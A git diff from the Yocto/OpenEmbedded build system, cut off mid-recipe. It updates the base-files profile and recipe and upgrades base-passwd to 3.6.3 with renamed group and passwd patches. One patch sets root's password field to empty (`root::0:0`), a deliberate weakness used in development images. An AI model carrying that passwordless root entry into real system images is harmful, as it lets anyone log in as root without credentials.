diff --git a/meta/recipes-core/base-files/base-files/hosts b/meta/recipes-core/base-files/base-files/hosts
index b94f414d5c..10a5b6c704 100644
--- a/meta/recipes-core/base-files/base-files/hosts
+++ b/meta/recipes-core/base-files/base-files/hosts
@@ -1,4 +1,4 @@
-127.0.0.1 localhost.localdomain localhost
+127.0.0.1 localhost
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
diff --git a/meta/recipes-core/base-files/base-files/profile b/meta/recipes-core/base-files/base-files/profile
index 9e4283e0c7..bded3757cc 100644
--- a/meta/recipes-core/base-files/base-files/profile
+++ b/meta/recipes-core/base-files/base-files/profile
@@ -2,7 +2,6 @@
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).
PATH="/usr/local/bin:/usr/bin:/bin"
-EDITOR="vi" # needed for packages like cron, git-commit
[ "$TERM" ] || TERM="vt100" # Basic terminal capab. For screen etc.
# Add /sbin & co to $PATH for the root user
@@ -11,6 +10,12 @@ EDITOR="vi" # needed for packages like cron, git-commit
# Set the prompt for bash and ash (no other shells known to be in use here)
[ -z "$PS1" ] || PS1='\u@\h:\w\$ '
+# Use the EDITOR not being set as a trigger to call resize later on
+FIRSTTIMESETUP=0
+if [ -z "$EDITOR" ] ; then
+ FIRSTTIMESETUP=1
+fi
+
if [ -d /etc/profile.d ]; then
for i in /etc/profile.d/*.sh; do
if [ -f $i -a -r $i ]; then
@@ -20,12 +25,49 @@ if [ -d /etc/profile.d ]; then
unset i
fi
-# Make sure we are on a serial console (i.e. the device used starts with
-# /dev/tty[A-z]), otherwise we confuse e.g. the eclipse launcher which tries do
-# use ssh
-case $(tty 2>/dev/null) in
- /dev/tty[A-z]*) [ -x @BINDIR@/resize ] && @BINDIR@/resize >/dev/null;;
-esac
+if [ -t 0 -a $# -eq 0 ]; then
+ if [ ! -x @BINDIR@/resize ] ; then
+ if [ -n "$BASH_VERSION" ] ; then
+# Optimized resize funciton for bash
+resize() {
+ local x y
+ IFS='[;' read -t 2 -p $(printf '\e7\e[r\e[999;999H\e[6n\e8') -sd R _ y x _
+ [ -n "$y" ] && \
+ echo -e "COLUMNS=$x;\nLINES=$y;\nexport COLUMNS LINES;" && \
+ stty cols $x rows $y
+}
+ else
+# Portable resize function for ash/bash/dash/ksh
+# with subshell to avoid local variables
+resize() {
+ (o=$(stty -g)
+ stty -echo raw min 0 time 2
+ printf '\0337\033[r\033[999;999H\033[6n\0338'
+ if echo R | read -d R x 2> /dev/null; then
+ IFS='[;R' read -t 2 -d R -r z y x _
+ else
+ IFS='[;R' read -r _ y x _
+ fi
+ stty "$o"
+ [ -z "$y" ] && y=${z##*[}&&x=${y##*;}&&y=${y%%;*}
+ [ -n "$y" ] && \
+ echo "COLUMNS=$x;"&&echo "LINES=$y;"&&echo "export COLUMNS LINES;"&& \
+ stty cols $x rows $y)
+}
+ fi
+ fi
+ # only do this for /dev/tty[A-z] which are typically
+ # serial ports
+ if [ $FIRSTTIMESETUP -eq 1 -a $SHLVL -eq 1 ] ; then
+ case $(tty 2>/dev/null) in
+ /dev/tty[A-z]*) resize >/dev/null;;
+ esac
+ fi
+fi
+
+if [ -z "$EDITOR" ]; then
+ EDITOR="vi" # needed for packages like cron, git-commit
+fi
export PATH PS1 OPIEDIR QPEDIR QTDIR EDITOR TERM
diff --git a/meta/recipes-core/base-files/base-files_3.0.14.bb b/meta/recipes-core/base-files/base-files_3.0.14.bb
index 94299431f6..9fab53ce63 100644
--- a/meta/recipes-core/base-files/base-files_3.0.14.bb
+++ b/meta/recipes-core/base-files/base-files_3.0.14.bb
@@ -1,8 +1,7 @@
SUMMARY = "Miscellaneous files for the base system"
DESCRIPTION = "The base-files package creates the basic system directory structure and provides a small set of key configuration files for the system."
SECTION = "base"
-PR = "r89"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://licenses/GPL-2;md5=94d55d512a9ba36caa9b7df079bae19f"
# Removed all license related tasks in this recipe as license.bbclass
# now deals with this. In order to get accurate licensing on to the image:
@@ -24,11 +23,13 @@ SRC_URI = "file://rotation \
file://share/dot.profile \
file://licenses/GPL-2 \
"
+SRC_URI:append:libc-glibc = "${@bb.utils.contains('DISTRO_FEATURES', 'systemd systemd-resolved', ' file://0001-add-nss-resolve-to-nsswitch.patch', '', d)}"
+
S = "${WORKDIR}"
INHIBIT_DEFAULT_DEPS = "1"
-docdir_append = "/${P}"
+docdir:append = "/${P}"
dirs1777 = "/tmp ${localstatedir}/volatile/tmp"
dirs2775 = ""
dirs555 = "/sys /proc"
@@ -64,7 +65,7 @@ conffiles = "${sysconfdir}/debian_version ${sysconfdir}/host.conf \
# hostnames.
#
# The hostname can be changed outside of this recipe by using
-# hostname_pn-base-files = "my-host-name".
+# hostname:pn-base-files = "my-host-name".
hostname = "${MACHINE}"
BASEFILESISSUEINSTALL ?= "do_install_basefilesissue"
@@ -77,7 +78,7 @@ BASEFILESISSUEINSTALL ?= "do_install_basefilesissue"
# Otherwise the directory creation will fail and we will have circular symbolic
# links.
#
-pkg_preinst_${PN} () {
+pkg_preinst:${PN} () {
#!/bin/sh -e
if [ x"$D" = "x" ]; then
if [ -h "/var/lock" ]; then
@@ -137,9 +138,13 @@ do_install () {
echo ${hostname} > ${D}${sysconfdir}/hostname
echo "127.0.1.1 ${hostname}" >> ${D}${sysconfdir}/hosts
fi
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'false', 'true', d)}; then
+ sed -i '/^::1/s/ localhost//' ${D}${sysconfdir}/hosts
+ fi
}
-do_install_append_libc-glibc () {
+do_install:append:libc-glibc () {
install -m 0644 ${WORKDIR}/nsswitch.conf ${D}${sysconfdir}/nsswitch.conf
}
@@ -162,7 +167,7 @@ do_install_basefilesissue () {
}
do_install_basefilesissue[vardepsexclude] += "DATE"
-do_install_append_linuxstdbase() {
+do_install:append:linuxstdbase() {
for d in ${dirs755-lsb}; do
install -m 0755 -d ${D}$d
done
@@ -175,10 +180,12 @@ do_install_append_linuxstdbase() {
SYSROOT_DIRS += "${sysconfdir}/skel"
PACKAGES = "${PN}-doc ${PN} ${PN}-dev ${PN}-dbg"
-FILES_${PN} = "/"
-FILES_${PN}-doc = "${docdir} ${datadir}/common-licenses"
+FILES:${PN} = "/"
+FILES:${PN}-doc = "${docdir} ${datadir}/common-licenses"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-CONFFILES_${PN} = "${sysconfdir}/fstab ${@['', '${sysconfdir}/hostname ${sysconfdir}/hosts'][(d.getVar('hostname') != '')]} ${sysconfdir}/shells"
-CONFFILES_${PN} += "${sysconfdir}/motd ${sysconfdir}/nsswitch.conf ${sysconfdir}/profile"
+CONFFILES:${PN} = "${sysconfdir}/fstab ${@['', '${sysconfdir}/hostname ${sysconfdir}/hosts'][(d.getVar('hostname') != '')]} ${sysconfdir}/shells"
+CONFFILES:${PN} += "${sysconfdir}/motd ${sysconfdir}/nsswitch.conf ${sysconfdir}/profile"
+
+INSANE_SKIP:${PN} += "empty-dirs"
diff --git a/meta/recipes-core/base-passwd/base-passwd/0001-Add-a-shutdown-group.patch b/meta/recipes-core/base-passwd/base-passwd/0001-Add-a-shutdown-group.patch
new file mode 100644
index 0000000000..e50efc9623
--- /dev/null
+++ b/meta/recipes-core/base-passwd/base-passwd/0001-Add-a-shutdown-group.patch
@@ -0,0 +1,26 @@
+From 8f3ace87df3aaad85946c22cae240532ea3e73b8 Mon Sep 17 00:00:00 2001
+From: Saul Wold <sgw@linux.intel.com>
+Date: Fri, 29 Apr 2022 13:32:27 +0000
+Subject: [PATCH] Add a shutdown group
+
+We need to have a shutdown group to allow the shutdown icon to work
+correctly. Any users that want to use shutdown like the xuser should
+be added to this group.
+
+Upstream-Status: Inappropriate [Embedded]
+Signed-off-by: Saul Wold <sgw@linux.intel.com>
+---
+ group.master | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/group.master b/group.master
+index ad1dd2d..1b5e2fb 100644
+--- a/group.master
++++ b/group.master
+@@ -35,5 +35,6 @@ sasl:*:45:
+ plugdev:*:46:
+ staff:*:50:
+ games:*:60:
++shutdown:*:70:
+ users:*:100:
+ nogroup:*:65534:
diff --git a/meta/recipes-core/base-passwd/base-passwd/0001-base-passwd-Add-the-sgx-group.patch b/meta/recipes-core/base-passwd/base-passwd/0001-base-passwd-Add-the-sgx-group.patch
new file mode 100644
index 0000000000..e1340e1b70
--- /dev/null
+++ b/meta/recipes-core/base-passwd/base-passwd/0001-base-passwd-Add-the-sgx-group.patch
@@ -0,0 +1,30 @@
+From 9e57771d138ac423d5139b984b8c869122ce4976 Mon Sep 17 00:00:00 2001
+From: Alex Kiernan <alexk@zuma.ai>
+Date: Fri, 28 Jul 2023 10:28:57 +0100
+Subject: [PATCH] base-passwd: Add the sgx group
+
+To avoid errors from eudev/udev we need an sgx group, but if we add it
+via groupadd that causes shadow login to be brought into an image, which
+causes images which have CONFIG_MULTIUSER unset to fail with `setgid:
+Function not implemented` as shadow's login doesn't implement the
+heuristics which busybox has to handle this kernel configuration.
+
+Upstream-Status: Inappropriate [oe-specific]
+
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+---
+ group.master | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/group.master b/group.master
+index d34d2b832d43..e54fd1d2c6dc 100644
+--- a/group.master
++++ b/group.master
+@@ -34,6 +34,7 @@ video:*:44:
+ sasl:*:45:
+ plugdev:*:46:
+ kvm:*:47:
++sgx:*:48:
+ staff:*:50:
+ games:*:60:
+ shutdown:*:70:
diff --git a/meta/recipes-core/base-passwd/base-passwd/0002-Use-bin-sh-instead-of-bin-bash-for-the-root-user.patch b/meta/recipes-core/base-passwd/base-passwd/0002-Use-bin-sh-instead-of-bin-bash-for-the-root-user.patch
new file mode 100644
index 0000000000..09f8cfea9c
--- /dev/null
+++ b/meta/recipes-core/base-passwd/base-passwd/0002-Use-bin-sh-instead-of-bin-bash-for-the-root-user.patch
@@ -0,0 +1,23 @@
+From 4411fc0df77566d52bee11ec0bad4be30a96e99e Mon Sep 17 00:00:00 2001
+From: Scott Garman <scott.a.garman@intel.com>
+Date: Fri, 29 Apr 2022 13:32:27 +0000
+Subject: [PATCH] Use /bin/sh instead of /bin/bash for the root user
+
+/bin/bash may not be included in some images such as minimal.
+
+Upstream-Status: Inappropriate [configuration]
+Signed-off-by: Scott Garman <scott.a.garman@intel.com>
+---
+ passwd.master | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/passwd.master b/passwd.master
+index 7cd4e24..041685a 100644
+--- a/passwd.master
++++ b/passwd.master
+@@ -1,4 +1,4 @@
+-root:*:0:0:root:/root:/bin/bash
++root:*:0:0:root:/root:/bin/sh
+ daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+ bin:*:2:2:bin:/bin:/usr/sbin/nologin
+ sys:*:3:3:sys:/dev:/usr/sbin/nologin
diff --git a/meta/recipes-core/base-passwd/base-passwd/0003-Remove-for-root-since-we-do-not-have-an-etc-shadow.patch b/meta/recipes-core/base-passwd/base-passwd/0003-Remove-for-root-since-we-do-not-have-an-etc-shadow.patch
new file mode 100644
index 0000000000..06222ab04c
--- /dev/null
+++ b/meta/recipes-core/base-passwd/base-passwd/0003-Remove-for-root-since-we-do-not-have-an-etc-shadow.patch
@@ -0,0 +1,21 @@
+From 13a1a284a134d18a454625a5b4485c0d99079ae9 Mon Sep 17 00:00:00 2001
+From: Scott Garman <scott.a.garman@intel.com>
+Date: Fri, 29 Apr 2022 13:32:28 +0000
+Subject: [PATCH] Remove "*" for root since we do not have an /etc/shadow
+
+Upstream-Status: Inappropriate [configuration]
+Signed-off-by: Scott Garman <scott.a.garman@intel.com>
+---
+ passwd.master | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/passwd.master b/passwd.master
+index 041685a..31a84d4 100644
+--- a/passwd.master
++++ b/passwd.master
+@@ -1,4 +1,4 @@
+-root:*:0:0:root:/root:/bin/sh
++root::0:0:root:/root:/bin/sh
+ daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+ bin:*:2:2:bin:/bin:/usr/sbin/nologin
+ sys:*:3:3:sys:/dev:/usr/sbin/nologin
diff --git a/meta/recipes-core/base-passwd/base-passwd/0004-Add-an-input-group-for-the-dev-input-devices.patch b/meta/recipes-core/base-passwd/base-passwd/0004-Add-an-input-group-for-the-dev-input-devices.patch
new file mode 100644
index 0000000000..394a0f01d3
--- /dev/null
+++ b/meta/recipes-core/base-passwd/base-passwd/0004-Add-an-input-group-for-the-dev-input-devices.patch
@@ -0,0 +1,23 @@
+From c5f012750f8102ff54af73ccc2d2b7bfa1f26db4 Mon Sep 17 00:00:00 2001
+From: Darren Hart <dvhart@linux.intel.com>
+Date: Fri, 29 Apr 2022 13:32:28 +0000
+Subject: [PATCH] Add an input group for the /dev/input/* devices
+
+Upstream-Status: Inappropriate [configuration]
+Signed-off-by: Darren Hart <dvhart@linux.intel.com>
+---
+ group.master | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/group.master b/group.master
+index 1b5e2fb..cea9d60 100644
+--- a/group.master
++++ b/group.master
+@@ -12,6 +12,7 @@ uucp:*:10:
+ man:*:12:
+ proxy:*:13:
+ kmem:*:15:
++input:*:19:
+ dialout:*:20:
+ fax:*:21:
+ voice:*:22:
diff --git a/meta/recipes-core/base-passwd/base-passwd/0005-Add-kvm-group.patch b/meta/recipes-core/base-passwd/base-passwd/0005-Add-kvm-group.patch
new file mode 100644
index 0000000000..72e6ee333c
--- /dev/null
+++ b/meta/recipes-core/base-passwd/base-passwd/0005-Add-kvm-group.patch
@@ -0,0 +1,23 @@
+From 6cf19461fb31d7a7a3010629aae9aab49c26a01b Mon Sep 17 00:00:00 2001
+From: Jacob Kroon <jacob.kroon@gmail.com>
+Date: Wed, 30 Jan 2019 04:53:48 +0000
+Subject: [PATCH] Add kvm group
+
+Upstream-Status: Pending
+Signed-off-by: Jacob Kroon <jacob.kroon@gmail.com>
+---
+ group.master | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/group.master b/group.master
+index cea9d60..5b62284 100644
+--- a/group.master
++++ b/group.master
+@@ -34,6 +34,7 @@ utmp:*:43:
+ video:*:44:
+ sasl:*:45:
+ plugdev:*:46:
++kvm:*:47:
+ staff:*:50:
+ games:*:60:
+ shutdown:*:70:
diff --git a/meta/recipes-core/base-passwd/base-passwd/0007-Add-wheel-group.patch b/meta/recipes-core/base-passwd/base-passwd/0007-Add-wheel-group.patch
new file mode 100644
index 0000000000..d77122789d
--- /dev/null
+++ b/meta/recipes-core/base-passwd/base-passwd/0007-Add-wheel-group.patch
@@ -0,0 +1,20 @@
+
+We need to have a wheel group which has some system privileges to consult the
+systemd journal or manage printers with cups.
+
+Upstream says the group does not exist by default.
+
+Upstream-Status: Inappropriate [enable feature]
+
+Signed-off-by: Louis Rannou <lrannou@baylibre.com>
+Index: base-passwd-3.5.26/group.master
+===================================================================
+--- base-passwd-3.5.29.orig/group.master
++++ base-passwd-3.5.29/group.master
+@@ -38,5 +38,6 @@
+ staff:*:50:
+ games:*:60:
+ shutdown:*:70:
++wheel:*:80:
+ users:*:100:
+ nogroup:*:65534:
diff --git a/meta/recipes-core/base-passwd/base-passwd/add_shutdown.patch b/meta/recipes-core/base-passwd/base-passwd/add_shutdown.patch
deleted file mode 100644
index 5f357d8895..0000000000
--- a/meta/recipes-core/base-passwd/base-passwd/add_shutdown.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-
-We need to have a shutdown group to allow the shutdown icon
-to work correctly. Any users that want to use shutdown like
-the xuser should be added to this group.
-
-Upstream-Status: Inappropriate [Embedded]
-
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-Index: base-passwd-3.5.26/group.master
-===================================================================
---- base-passwd-3.5.26.orig/group.master
-+++ base-passwd-3.5.26/group.master
-@@ -36,5 +36,6 @@ sasl:*:45:
- plugdev:*:46:
- staff:*:50:
- games:*:60:
-+shutdown:*:70:
- users:*:100:
- nogroup:*:65534:
diff --git a/meta/recipes-core/base-passwd/base-passwd/disable-docs.patch b/meta/recipes-core/base-passwd/base-passwd/disable-docs.patch
deleted file mode 100644
index 14c08b7484..0000000000
--- a/meta/recipes-core/base-passwd/base-passwd/disable-docs.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-Disable documentation for now as it uses tools currently not supported
-by OE-Core. It uses sgmltools and po4a.
-
-Upstream-Status: Inappropriate [OE-Core specific]
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-Index: base-passwd-3.5.28/Makefile.in
-===================================================================
---- base-passwd-3.5.28.orig/Makefile.in
-+++ base-passwd-3.5.28/Makefile.in
-@@ -25,13 +25,10 @@ gen_configure = config.cache config.stat
- confdefhs.h config.h Makefile
-
- all: update-passwd
-- $(MAKE) -C doc all
-- $(MAKE) -C man all
-
- install: all
- mkdir -p $(DESTDIR)$(sbindir)
- $(INSTALL) update-passwd $(DESTDIR)$(sbindir)/
-- $(MAKE) -C man install
-
- update-passwd.o: version.h
-
diff --git a/meta/recipes-core/base-passwd/base-passwd/input.patch b/meta/recipes-core/base-passwd/base-passwd/input.patch
deleted file mode 100644
index 3abbcad5d5..0000000000
--- a/meta/recipes-core/base-passwd/base-passwd/input.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-Add an input group for the /dev/input/* devices.
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Darren Hart <dvhart@linux.intel.com>
-
----
- group.master | 1 +
- 1 file changed, 1 insertion(+)
-
-Index: base-passwd-3.5.26/group.master
-===================================================================
---- base-passwd-3.5.26.orig/group.master
-+++ base-passwd-3.5.26/group.master
-@@ -12,6 +12,7 @@ uucp:*:10:
- man:*:12:
- proxy:*:13:
- kmem:*:15:
-+input:*:19:
- dialout:*:20:
- fax:*:21:
- voice:*:22:
diff --git a/meta/recipes-core/base-passwd/base-passwd/kvm.patch b/meta/recipes-core/base-passwd/base-passwd/kvm.patch
deleted file mode 100644
index 113d5151e7..0000000000
--- a/meta/recipes-core/base-passwd/base-passwd/kvm.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From 6355278b9f744291864c373a32a8da8f84aaaf37 Mon Sep 17 00:00:00 2001
-From: Jacob Kroon <jacob.kroon@gmail.com>
-Date: Wed, 30 Jan 2019 04:53:48 +0000
-Subject: [PATCH] Add kvm group
-
-Upstream-Status: Pending
-Signed-off-by: Jacob Kroon <jacob.kroon@gmail.com>
----
- group.master | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/group.master b/group.master
-index cea9d60..5b62284 100644
---- a/group.master
-+++ b/group.master
-@@ -34,6 +34,7 @@ utmp:*:43:
- video:*:44:
- sasl:*:45:
- plugdev:*:46:
-+kvm:*:47:
- staff:*:50:
- games:*:60:
- shutdown:*:70:
diff --git a/meta/recipes-core/base-passwd/base-passwd/nobash.patch b/meta/recipes-core/base-passwd/base-passwd/nobash.patch
deleted file mode 100644
index b5a692295b..0000000000
--- a/meta/recipes-core/base-passwd/base-passwd/nobash.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-use /bin/sh instead of /bin/bash, since the latter may not be included in
-some images such as minimal
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- base-passwd/passwd.master~nobash
-+++ base-passwd/passwd.master
-@@ -1,4 +1,4 @@
--root:*:0:0:root:/root:/bin/bash
-+root:*:0:0:root:/root:/bin/sh
- daemon:*:1:1:daemon:/usr/sbin:/bin/sh
- bin:*:2:2:bin:/bin:/bin/sh
- sys:*:3:3:sys:/dev:/bin/sh
diff --git a/meta/recipes-core/base-passwd/base-passwd/noshadow.patch b/meta/recipes-core/base-passwd/base-passwd/noshadow.patch
deleted file mode 100644
index e27bf7d9be..0000000000
--- a/meta/recipes-core/base-passwd/base-passwd/noshadow.patch
+++ /dev/null
@@ -1,14 +0,0 @@
-remove "*" for root since we don't have a /etc/shadow so far.
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
---- base-passwd/passwd.master~nobash
-+++ base-passwd/passwd.master
-@@ -1,4 +1,4 @@
--root:*:0:0:root:/root:/bin/sh
-+root::0:0:root:/root:/bin/sh
- daemon:*:1:1:daemon:/usr/sbin:/bin/sh
- bin:*:2:2:bin:/bin:/bin/sh
- sys:*:3:3:sys:/dev:/bin/sh
diff --git a/meta/recipes-core/base-passwd/base-passwd_3.5.29.bb b/meta/recipes-core/base-passwd/base-passwd_3.5.29.bb
deleted file mode 100644
index d01cd7e297..0000000000
--- a/meta/recipes-core/base-passwd/base-passwd_3.5.29.bb
+++ /dev/null
@@ -1,116 +0,0 @@
-SUMMARY = "Base system master password/group files"
-DESCRIPTION = "The master copies of the user database files (/etc/passwd and /etc/group). The update-passwd tool is also provided to keep the system databases synchronized with these master files."
-SECTION = "base"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a"
-
-RECIPE_NO_UPDATE_REASON = "Version 3.5.38 requires cdebconf for update-passwd utility"
-
-SRC_URI = "https://launchpad.net/debian/+archive/primary/+files/${BPN}_${PV}.tar.gz \
- file://add_shutdown.patch \
- file://nobash.patch \
- file://noshadow.patch \
- file://input.patch \
- file://disable-docs.patch \
- file://kvm.patch \
- "
-
-SRC_URI[md5sum] = "6beccac48083fe8ae5048acd062e5421"
-SRC_URI[sha256sum] = "f0b66388b2c8e49c15692439d2bee63bcdd4bbbf7a782c7f64accc55986b6a36"
-
-# the package is taken from launchpad; that source is static and goes stale
-# so we check the latest upstream from a directory that does get updated
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/b/base-passwd/"
-
-inherit autotools
-
-do_install () {
- install -d -m 755 ${D}${sbindir}
- install -o root -g root -p -m 755 ${B}/update-passwd ${D}${sbindir}/
- install -d -m 755 ${D}${mandir}/man8 ${D}${mandir}/pl/man8
- install -p -m 644 ${S}/man/update-passwd.8 ${D}${mandir}/man8/
- install -p -m 644 ${S}/man/update-passwd.pl.8 \
- ${D}${mandir}/pl/man8/update-passwd.8
- gzip -9 ${D}${mandir}/man8/* ${D}${mandir}/pl/man8/*
- install -d -m 755 ${D}${datadir}/base-passwd
- install -o root -g root -p -m 644 ${S}/passwd.master ${D}${datadir}/base-passwd/
- sed -i 's#:/root:#:${ROOT_HOME}:#' ${D}${datadir}/base-passwd/passwd.master
- install -o root -g root -p -m 644 ${S}/group.master ${D}${datadir}/base-passwd/
-
- install -d -m 755 ${D}${docdir}/${BPN}
- install -p -m 644 ${S}/debian/changelog ${D}${docdir}/${BPN}/
- gzip -9 ${D}${docdir}/${BPN}/*
- install -p -m 644 ${S}/README ${D}${docdir}/${BPN}/
- install -p -m 644 ${S}/debian/copyright ${D}${docdir}/${BPN}/
-}
-
-basepasswd_sysroot_postinst() {
-#!/bin/sh
-
-# Install passwd.master and group.master to sysconfdir
-install -d -m 755 ${STAGING_DIR_TARGET}${sysconfdir}
-for i in passwd group; do
- install -p -m 644 ${STAGING_DIR_TARGET}${datadir}/base-passwd/\$i.master \
- ${STAGING_DIR_TARGET}${sysconfdir}/\$i
-done
-
-# Run any useradd postinsts
-for script in ${STAGING_DIR_TARGET}${bindir}/postinst-useradd-*; do
- if [ -f \$script ]; then
- \$script
- fi
-done
-}
-
-SYSROOT_DIRS += "${sysconfdir}"
-SYSROOT_PREPROCESS_FUNCS += "base_passwd_tweaksysroot"
-
-base_passwd_tweaksysroot () {
- mkdir -p ${SYSROOT_DESTDIR}${bindir}
- dest=${SYSROOT_DESTDIR}${bindir}/postinst-${PN}
- echo "${basepasswd_sysroot_postinst}" > $dest
- chmod 0755 $dest
-}
-
-python populate_packages_prepend() {
- # Add in the preinst function for ${PN}
- # We have to do this here as prior to this, passwd/group.master
- # would be unavailable. We need to create these files at preinst
- # time before the files from the package may be available, hence
- # storing the data from the files in the preinst directly.
-
- f = open(d.expand("${STAGING_DATADIR}/base-passwd/passwd.master"), 'r')
- passwd = "".join(f.readlines())
- f.close()
- f = open(d.expand("${STAGING_DATADIR}/base-passwd/group.master"), 'r')
- group = "".join(f.readlines())
- f.close()
-
- preinst = """#!/bin/sh
-mkdir -p $D${sysconfdir}
-if [ ! -e $D${sysconfdir}/passwd ]; then
-\tcat << 'EOF' > $D${sysconfdir}/passwd
-""" + passwd + """EOF
-fi
-if [ ! -e $D${sysconfdir}/group ]; then
-\tcat << 'EOF' > $D${sysconfdir}/group
-""" + group + """EOF
-fi
-"""
- d.setVar(d.expand('pkg_preinst_${PN}'), preinst)
-}
-
-addtask do_package after do_populate_sysroot
-
-ALLOW_EMPTY_${PN} = "1"
-
-PACKAGES =+ "${PN}-update"
-FILES_${PN}-update = "${sbindir}/* ${datadir}/${PN}"
-
-pkg_postinst_${PN}-update () {
-#!/bin/sh
-if [ -n "$D" ]; then
- exit 0
-fi
-${sbindir}/update-passwd
-}
diff --git a/meta/recipes-core/base-passwd/base-passwd_3.6.3.bb b/meta/recipes-core/base-passwd/base-passwd_3.6.3.bb
new file mode 100644
index 0000000000..bf50b01fd5
--- /dev/null
+++ b/meta/recipes-core/base-passwd/base-passwd_3.6.3.bb
@@ -0,0 +1,125 @@
+SUMMARY = "Base system master password/group files"
+DESCRIPTION = "The master copies of the user database files (/etc/passwd and /etc/group). The update-passwd tool is also provided to keep the system databases synchronized with these master files."
+HOMEPAGE = "https://launchpad.net/base-passwd"
+SECTION = "base"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a"
+
+SRC_URI = "https://launchpad.net/debian/+archive/primary/+files/${BPN}_${PV}.tar.xz \
+ file://0001-Add-a-shutdown-group.patch \
+ file://0002-Use-bin-sh-instead-of-bin-bash-for-the-root-user.patch \
+ file://0003-Remove-for-root-since-we-do-not-have-an-etc-shadow.patch \
+ file://0004-Add-an-input-group-for-the-dev-input-devices.patch \
+ file://0005-Add-kvm-group.patch \
+ file://0007-Add-wheel-group.patch \
+ file://0001-base-passwd-Add-the-sgx-group.patch \
+ "
+
+SRC_URI[sha256sum] = "83575327d8318a419caf2d543341215c046044073d1afec2acc0ac4d8095ff39"
+
+# the package is taken from launchpad; that source is static and goes stale
+# so we check the latest upstream from a directory that does get updated
+UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/b/base-passwd/"
+
+S = "${WORKDIR}/work"
+
+PACKAGECONFIG = "${@bb.utils.filter('DISTRO_FEATURES', 'selinux', d)}"
+PACKAGECONFIG[selinux] = "--enable-selinux, --disable-selinux, libselinux"
+
+inherit autotools
+
+EXTRA_OECONF += "--disable-debconf --disable-docs"
+
+NOLOGIN ?= "${base_sbindir}/nologin"
+
+do_install () {
+ install -d -m 755 ${D}${sbindir}
+ install -o root -g root -p -m 755 ${B}/update-passwd ${D}${sbindir}/
+ install -d -m 755 ${D}${mandir}/man8 ${D}${mandir}/pl/man8
+ install -p -m 644 ${S}/man/update-passwd.8 ${D}${mandir}/man8/
+ install -p -m 644 ${S}/man/update-passwd.pl.8 \
+ ${D}${mandir}/pl/man8/update-passwd.8
+ gzip -9 ${D}${mandir}/man8/* ${D}${mandir}/pl/man8/*
+ install -d -m 755 ${D}${datadir}/base-passwd
+ install -o root -g root -p -m 644 ${S}/passwd.master ${D}${datadir}/base-passwd/
+ sed -i 's#:/root:#:${ROOT_HOME}:#' ${D}${datadir}/base-passwd/passwd.master
+ sed -i 's#/usr/sbin/nologin#${NOLOGIN}#' ${D}${datadir}/base-passwd/passwd.master
+ install -o root -g root -p -m 644 ${S}/group.master ${D}${datadir}/base-passwd/
+
+ install -d -m 755 ${D}${docdir}/${BPN}
+ install -p -m 644 ${S}/debian/changelog ${D}${docdir}/${BPN}/
+ gzip -9 ${D}${docdir}/${BPN}/*
+ install -p -m 644 ${S}/README ${D}${docdir}/${BPN}/
+ install -p -m 644 ${S}/debian/copyright ${D}${docdir}/${BPN}/
+}
+
+basepasswd_sysroot_postinst() {
+#!/bin/sh -e
+
+# Install passwd.master and group.master to sysconfdir
+install -d -m 755 ${STAGING_DIR_TARGET}${sysconfdir}
+for i in passwd group; do
+ install -p -m 644 ${STAGING_DIR_TARGET}${datadir}/base-passwd/\$i.master \
+ ${STAGING_DIR_TARGET}${sysconfdir}/\$i
+done
+
+# Run any useradd postinsts
+for script in ${STAGING_DIR_TARGET}${bindir}/postinst-useradd-*; do
+ if [ -f \$script ]; then
+ \$script
+ fi
+done
+}
+
+SYSROOT_DIRS += "${sysconfdir}"
+SYSROOT_PREPROCESS_FUNCS += "base_passwd_tweaksysroot"
+
+base_passwd_tweaksysroot () {
+ mkdir -p ${SYSROOT_DESTDIR}${bindir}
+ dest=${SYSROOT_DESTDIR}${bindir}/postinst-${PN}
+ echo "${basepasswd_sysroot_postinst}" > $dest
+ chmod 0755 $dest
+}
+
+python populate_packages:prepend() {
+ # Add in the preinst function for ${PN}
+ # We have to do this here as prior to this, passwd/group.master
+ # would be unavailable. We need to create these files at preinst
+ # time before the files from the package may be available, hence
+ # storing the data from the files in the preinst directly.
+
+ f = open(d.expand("${STAGING_DATADIR}/base-passwd/passwd.master"), 'r')
+ passwd = "".join(f.readlines())
+ f.close()
+ f = open(d.expand("${STAGING_DATADIR}/base-passwd/group.master"), 'r')
+ group = "".join(f.readlines())
+ f.close()
+
+ preinst = """#!/bin/sh
+mkdir -p $D${sysconfdir}
+if [ ! -e $D${sysconfdir}/passwd ]; then
+\tcat << 'EOF' > $D${sysconfdir}/passwd
+""" + passwd + """EOF
+fi
